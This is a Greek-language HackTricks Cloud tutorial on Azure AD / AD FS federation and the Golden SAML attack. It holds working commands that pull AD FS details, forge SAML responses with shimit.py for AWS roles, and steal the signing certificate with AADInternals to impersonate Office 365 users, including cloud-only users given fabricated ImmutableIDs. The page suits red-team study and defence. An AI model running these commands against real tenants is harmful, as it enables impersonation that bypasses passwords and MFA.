Az - Federation
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Basic Information
Ομοσπονδία είναι μια συλλογή τομέων που έχουν καθορίσει ** εμπιστοσύνη**. Το επίπεδο εμπιστοσύνης μπορεί να διαφέρει, αλλά συνήθως περιλαμβάνει αυθεντικοποίηση και σχεδόν πάντα περιλαμβάνει εξουσιοδότηση. Μια τυπική ομοσπονδία μπορεί να περιλαμβάνει πολλές οργανώσεις που έχουν καθορίσει εμπιστοσύνη για κοινή πρόσβαση σε ένα σύνολο πόρων. Μπορείτε να ομοσπονδιοποιήσετε το τοπικό σας περιβάλλον με το Azure AD και να χρησιμοποιήσετε αυτή την ομοσπονδία για αυθεντικοποίηση και εξουσιοδότηση. Αυτή η μέθοδος σύνδεσης διασφαλίζει ότι όλη η αυθεντικοποίηση χρηστών πραγματοποιείται τοπικά. Αυτή η μέθοδος επιτρέπει στους διαχειριστές να εφαρμόσουν πιο αυστηρούς ελέγχους πρόσβασης. Η ομοσπονδία με AD FS και PingFederate είναι διαθέσιμη.
.png)
Βασικά, στην Ομοσπονδία, όλη η αυθεντικοποίηση πραγματοποιείται στο τοπικό περιβάλλον και ο χρήστης βιώνει SSO σε όλα τα αξιόπιστα περιβάλλοντα. Επομένως, οι χρήστες μπορούν να πρόσβαση σε εφαρμογές του cloud χρησιμοποιώντας τα τοπικά διαπιστευτήρια τους.
Γλώσσα Σημειώσεων Ασφάλειας (SAML) χρησιμοποιείται για ανταλλαγή όλων των πληροφοριών αυθεντικοποίησης και εξουσιοδότησης μεταξύ των παρόχων.
Σε οποιαδήποτε ρύθμιση ομοσπονδίας υπάρχουν τρία μέρη:
- Χρήστης ή Πελάτης
- Πάροχος Ταυτότητας (IdP)
- Πάροχος Υπηρεσιών (SP)
.png)
- Αρχικά, μια εφαρμογή (Πάροχος Υπηρεσιών ή SP, όπως το AWS console ή το vSphere web client) προσπελάζεται από έναν χρήστη. Αυτό το βήμα μπορεί να παρακαμφθεί, οδηγώντας τον πελάτη απευθείας στον IdP (Πάροχος Ταυτότητας) ανάλογα με την συγκεκριμένη υλοποίηση.
- Στη συνέχεια, ο SP προσδιορίζει τον κατάλληλο IdP (π.χ., AD FS, Okta) για την αυθεντικοποίηση του χρήστη. Στη συνέχεια, δημιουργεί ένα SAML (Γλώσσα Σημειώσεων Ασφάλειας) AuthnRequest και ανακατευθύνει τον πελάτη στον επιλεγμένο IdP.
- Ο IdP αναλαμβάνει, αυθεντικοποιώντας τον χρήστη. Μετά την αυθεντικοποίηση, μια SAMLResponse διαμορφώνεται από τον IdP και προωθείται στον SP μέσω του χρήστη.
- Τέλος, ο SP αξιολογεί την SAMLResponse. Εάν επικυρωθεί επιτυχώς, υποδηλώνοντας μια σχέση εμπιστοσύνης με τον IdP, ο χρήστης αποκτά πρόσβαση. Αυτό σηματοδοτεί την ολοκλήρωση της διαδικασίας σύνδεσης, επιτρέποντας στον χρήστη να χρησιμοποιήσει την υπηρεσία.
Αν θέλετε να μάθετε περισσότερα για την αυθεντικοποίηση SAML και τις κοινές επιθέσεις, επισκεφθείτε:
Pivoting
- AD FS είναι ένα μοντέλο ταυτότητας βασισμένο σε αξιώσεις.
- “..οι αξιώσεις είναι απλώς δηλώσεις (για παράδειγμα, όνομα, ταυτότητα, ομάδα), που γίνονται για τους χρήστες, οι οποίες χρησιμοποιούνται κυρίως για την εξουσιοδότηση πρόσβασης σε εφαρμογές βασισμένες σε αξιώσεις που βρίσκονται οπουδήποτε στο Διαδίκτυο.”
- Οι αξιώσεις για έναν χρήστη γράφονται μέσα στα SAML tokens και στη συνέχεια υπογράφονται για να παρέχουν εμπιστευτικότητα από τον IdP.
- Ένας χρήστης αναγνωρίζεται από το ImmutableID. Είναι παγκοσμίως μοναδικό και αποθηκεύεται στο Azure AD.
- Το ImmutableID αποθηκεύεται τοπικά ως ms-DS-ConsistencyGuid για τον χρήστη και/ή μπορεί να προκύψει από το GUID του χρήστη.
- Περισσότερες πληροφορίες στο https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims
Επίθεση Golden SAML:
- Στο ADFS, η SAML Response υπογράφεται από ένα πιστοποιητικό υπογραφής token.
- Εάν το πιστοποιητικό παραβιαστεί, είναι δυνατόν να αυθεντικοποιηθεί στο Azure AD ως ΟΠΟΙΟΣΔΗΠΟΤΕ χρήστης συγχρονισμένος με το Azure AD!
- Ακριβώς όπως η κακή χρήση του PTA μας, η αλλαγή κωδικού πρόσβασης για έναν χρήστη ή το MFA δεν θα έχει καμία επίδραση επειδή παραποιούμε την απάντηση αυθεντικοποίησης.
- Το πιστοποιητικό μπορεί να εξαχθεί από τον διακομιστή AD FS με δικαιώματα DA και στη συνέχεια μπορεί να χρησιμοποιηθεί από οποιαδήποτε μηχανή συνδεδεμένη στο Διαδίκτυο.
- Περισσότερες πληροφορίες στο https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
Golden SAML
Η διαδικασία όπου ένας Πάροχος Ταυτότητας (IdP) παράγει μια SAMLResponse για να εξουσιοδοτήσει την είσοδο του χρήστη είναι καθοριστική. Ανάλογα με την συγκεκριμένη υλοποίηση του IdP, η απάντηση μπορεί να είναι υπογεγραμμένη ή κρυπτογραφημένη χρησιμοποιώντας το ιδιωτικό κλειδί του IdP. Αυτή η διαδικασία επιτρέπει στον Πάροχο Υπηρεσιών (SP) να επιβεβαιώσει την αυθεντικότητα της SAMLResponse, διασφαλίζοντας ότι εκδόθηκε πράγματι από έναν αξιόπιστο IdP.
Μπορεί να γίνει μια παράλληλη σύγκριση με την επίθεση χρυσού εισιτηρίου, όπου το κλειδί που αυθεντικοποιεί την ταυτότητα και τα δικαιώματα του χρήστη (KRBTGT για χρυσά εισιτήρια, ιδιωτικό κλειδί υπογραφής token για χρυσό SAML) μπορεί να παραποιηθεί για να δημιουργήσει ένα αντικείμενο αυθεντικοποίησης (TGT ή SAMLResponse). Αυτό επιτρέπει την προσποίηση οποιουδήποτε χρήστη, παρέχοντας μη εξουσιοδοτημένη πρόσβαση στον SP.
Τα Golden SAML προσφέρουν ορισμένα πλεονεκτήματα:
- Μπορούν να δημιουργηθούν απομακρυσμένα, χωρίς την ανάγκη να είναι μέρος του τομέα ή της ομοσπονδίας που εξετάζεται.
- Παραμένουν αποτελεσματικά ακόμη και με Επαλήθευση Δύο Παραγόντων (2FA) ενεργοποιημένη.
- Το ιδιωτικό κλειδί υπογραφής δεν ανανεώνεται αυτόματα.
- Η αλλαγή του κωδικού πρόσβασης ενός χρήστη δεν ακυρώνει μια ήδη παραχθείσα SAML.
AWS + AD FS + Golden SAML
Υπηρεσίες Ομοσπονδίας Active Directory (AD FS) είναι μια υπηρεσία της Microsoft που διευκολύνει την ασφαλή ανταλλαγή πληροφοριών ταυτότητας μεταξύ αξιόπιστων επιχειρηματικών εταίρων (ομοσπονδία). Επιτρέπει ουσιαστικά σε μια υπηρεσία τομέα να μοιράζεται ταυτότητες χρηστών με άλλους παρόχους υπηρεσιών εντός μιας ομοσπονδίας.
Με το AWS να εμπιστεύεται τον παραβιασμένο τομέα (σε μια ομοσπονδία), αυτή η ευπάθεια μπορεί να εκμεταλλευτεί για να αποκτηθούν οποιαδήποτε δικαιώματα στο περιβάλλον AWS. Η επίθεση απαιτεί το ιδιωτικό κλειδί που χρησιμοποιείται για την υπογραφή των αντικειμένων SAML, παρόμοια με την ανάγκη του KRBTGT σε μια επίθεση χρυσού εισιτηρίου. Η πρόσβαση στον λογαριασμό χρήστη AD FS είναι επαρκής για να αποκτηθεί αυτό το ιδιωτικό κλειδί.
Οι απαιτήσεις για την εκτέλεση μιας επίθεσης Golden SAML περιλαμβάνουν:
- Ιδιωτικό κλειδί υπογραφής token
- Δημόσιο πιστοποιητικό IdP
- Όνομα IdP
- Όνομα ρόλου (ρόλος προς ανάληψη)
- Domain\username
- Όνομα συνεδρίας ρόλου στο AWS
- Amazon account ID
Μόνο τα στοιχεία με έντονη γραφή είναι υποχρεωτικά. Τα άλλα μπορούν να συμπληρωθούν κατά βούληση.
Για να αποκτήσετε το ιδιωτικό κλειδί, είναι απαραίτητη η πρόσβαση στον λογαριασμό χρήστη AD FS. Από εκεί, το ιδιωτικό κλειδί μπορεί να εξαχθεί από το προσωπικό κατάστημα χρησιμοποιώντας εργαλεία όπως το mimikatz. Για να συγκεντρώσετε τις άλλες απαιτούμενες πληροφορίες, μπορείτε να χρησιμοποιήσετε το Microsoft.Adfs.Powershell snapin ως εξής, διασφαλίζοντας ότι είστε συνδεδεμένοι ως χρήστης ADFS:
# From an "AD FS" session
# After having exported the key with mimikatz
# ADFS Public Certificate
[System.Convert]::ToBase64String($cer.rawdata)
# IdP Name
(Get-ADFSProperties).Identifier.AbsoluteUri
# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule
Με όλες τις πληροφορίες, είναι δυνατόν να ξεχάσετε μια έγκυρη SAMLResponse ως ο χρήστης που θέλετε να μιμηθείτε χρησιμοποιώντας shimit:
# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
# pk - Private key file full path (pem format)
# c - Certificate file full path (pem format)
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
# n - Session name in AWS
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
# id - AWS account id e.g. 123456789012
# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml
.png)
On-prem -> cloud
# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())
# On AD FS server execute as administrator
Get-AdfsProperties | select identifier
# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
# You need to use the one from AzureAD.
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri
# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate
# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose
Είναι επίσης δυνατό να δημιουργήσετε ImmutableID χρηστών μόνο στο cloud και να τους προσποιηθείτε.
# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="
# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate
# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose
Αναφορές
- https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed
- https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

